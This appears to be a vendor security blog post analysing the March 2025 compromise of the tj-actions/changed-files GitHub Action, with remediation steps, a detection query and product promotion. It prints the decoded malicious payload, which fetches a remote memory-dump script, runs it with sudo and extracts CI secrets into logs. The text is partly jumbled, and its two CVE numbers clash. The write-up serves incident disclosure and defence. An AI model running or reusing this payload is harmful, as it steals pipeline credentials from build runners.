In the hyper-speed world of modern software development, Continuous Integration and Continuous Delivery (CI/CD) pipelines are the lifeblood of innovation. They are the automated arteries through which our code flows, transforming ideas into reality. But, what happens when a trusted component within this vital system goes rogue? On March 12, 2025, the developer community faced this nightmare as the widely adopted GitHub Action, tj-actions/changed-files
, was compromised, exposing the hidden vulnerabilities lurking within our seemingly secure supply chains. This incident is also being tracked under CVE-2025-30066.
To put this into perspective, consider your organization’s critical digital infrastructure, built with layers of security. Now, imagine a widely-used and trusted software component, similar to a key vendor providing essential services, secretly being compromised. This is the essence of the tj-actions/changed-files
incident.
This popular tool, integrated into over 23,000 software development projects, was exploited in a supply chain attack, potentially exposing sensitive credentials within build processes. This breach of trust could have allowed unauthorized access to critical systems and data, highlighting the increasing risks associated with the software supply chain and the need for robust security oversight.
The attackers didn’t need to breach heavily guarded perimeters. Instead, they poisoned a component already deeply embedded within countless development workflows, which involved injecting malicious code into nearly every tagged version of tj-actions/changed-files
.
Simply put, this transformed a helpful utility into a covert intelligence operation. The linchpin of this malicious activity was a single, unassuming commit (hash: 0e58ed8671d6b60d0890c21b07f8835ace038e67
), which retroactively tainted version tags and turned back the clock on security and weaponizing trust itself. The insidious part? The compromised Action didn’t scream its intentions; it whispered secrets into the public domain of GitHub Actions logs.
Base64 decoded code:
if [[ "$OSTYPE" == "linux-gnu" ]]; then B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0` echo $B64_BLOB else exit 0 Fi
Node.js
function laced with a base64-encoded payload. This initial layer of obfuscation acted as a digital cloak, making the malicious intent difficult to discern during casual inspection.memdump.py
, was the weapon of choice and designed to delve into the very memory of the GitHub Runner.Runner.Worker
process – the engine room of your CI/CD execution. Using precise regular expressions, it hunted for the crown jewels of a development infrastructure: AWS Access Keys, GitHub Personal Access Tokens, NPM tokens, and private RSA keys. The stolen bounty was then discreetly deposited – double-encoded in base64 – into the build logs, intentionally left in plain sight for the adversary to retrieve.The impact of the tj-actions/changed-files
attack varied depending on repository visibility. Public repositories faced immediate risk due to the exposure of secrets in public logs, potentially compromising critical credentials. While not publicly exposed, private repositories still require careful review and potential secret rotation. This incident also underscored the broader fragility of trust in the CI/CD supply chain, demonstrating how widely used components can become attack vectors.
Immediate action is paramount, so here’s your emergency response checklist for this issue:
https://github.com/search?q=org:+tj-actions/changed-files&type=code
dataSource.name = 'SentinelOne' and endpoint.os = 'linux' and event.type = 'Process Creation' and (tgt.process.name in:anycase ('curl') or tgt.process.displayName = 'curl') and tgt.process.cmdline contains '-sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3'
tj-actions/changed-files
Action. Focus your investigation on logs generated between March 12th and March 15th, 2025.tj-actions/changed-files
Action and replace it with a secure alternative to restore the integrity of your CI/CD pipeline. StepSecurity’s step-security/changed-files provides a vetted and secure drop-in replacement.SentinelOne’s platform leverages advanced behavioral AI, real-time threat intelligence, and automated remediation to safeguard your environments. By continuously monitoring workload activity — including your CI/CD pipelines — SentinelOne can detect and neutralize sophisticated threats that might otherwise operate under the radar. SentinelOne’s multi-layered defense strategy fortifies your digital infrastructure, ensuring that your critical assets remain secure even if individual components are compromised.
tj-actions/changed-files
ScriptOnce your pipeline is onboarded, resources can be scanned by the Cloud Native Security CLI Scanner, a command line utility that scans for secrets and vulnerabilities, (including CVE-2025-30066 in this case). Now that this vulnerability is tracked, we can use this scanning to shift security left and remove the offending component from your pipeline.
SentinelOne’s s1-shift-left-cli vulnerability scanner successfully identified CVE-2025-30866, vulnerability in tj-actions/changed-files
at version v45.0.7. The GitHub Actions workflow, this example shows the scanner’s effectiveness in detecting critical security issues in CI/CD pipelines for known CVEs.
Combining SentinelOne capabilities mentioned above, customers are capable of detecting unknown vulnerabilities in the CI/CD pipeline, while also preventing them when the CVE is published to prevent future incidents covering the whole SDLC pipeline.
This incident delivers critical lessons for bolstering CI/CD security. First, it reminds us that while “shift-left” practices like securing code early are undeniably crucial, they are not a complete solution. This attack exploited runtime behavior within the CI/CD environment, an area often overlooked by traditional security tools focused primarily on static code analysis.
Secondly, detecting this compromise underscores the immense power of real-time behavioral monitoring. Security solutions capable of identifying anomalous process activities, unusual network connections, and unauthorized memory access attempts are vital for catching sophisticated attacks like this one. Investing in tools that provide holistic visibility and detection at runtime is no longer optional.
Finally, the tj-actions/changed-files
incident serves as a powerful wake-up call, reinforcing the necessity for continuous vigilance across the entire development ecosystem. This includes relentlessly auditing all third-party dependencies integrated into your workflows (“trust, but verify” should be your mantra), implementing robust logging and proactive monitoring to detect suspicious activities early, and establishing swift and well-rehearsed incident response plans to minimize the impact of any future breaches.
Moving forward, we believe a multi-layered security approach that combines proactive development practices with vigilant runtime monitoring and effective incident response is essential to build resilient CI/CD pipelines.
The tj-actions/changed-files
compromise has highlighted the critical risks within our software supply chains, demanding a fundamental shift in our CI/CD security thinking. Moving forward, we believe a robust, multi-layered approach integrating proactive measures like commit pinning and allow-listing with vigilant runtime monitoring and strong incident response is crucial to defend against evolving threats.
Let this incident be a catalyst for a renewed commitment to securing every stage of our software delivery. Our ability to innovate securely depends on our collective vigilance and dedication to building resilient CI/CD environments. Stay informed, stay vigilant, and let’s build a more secure digital future together.
At SentinelOne, we are redefining cybersecurity by pushing the boundaries of autonomous technology to protect organizations from threats like this one. In this article, we discuss a layered approach and give short views of a number of features across the Singularity platform.
Learn more about Purple AI, SentinelOne’s industry-leading approach to accelerating SecOps with AI and how SentinelOne’s comprehensive Cloud Native Application Protection Platform (CNAPP) secures cloud and container runtime environments and pipelines alike.
Contact us today to learn how SentinelOne can elevate your cyber security posture and empower your security team to make informed, impactful decisions.
Detect earlier, respond faster, and stay ahead of attacks with the world’s most advanced AI security analyst.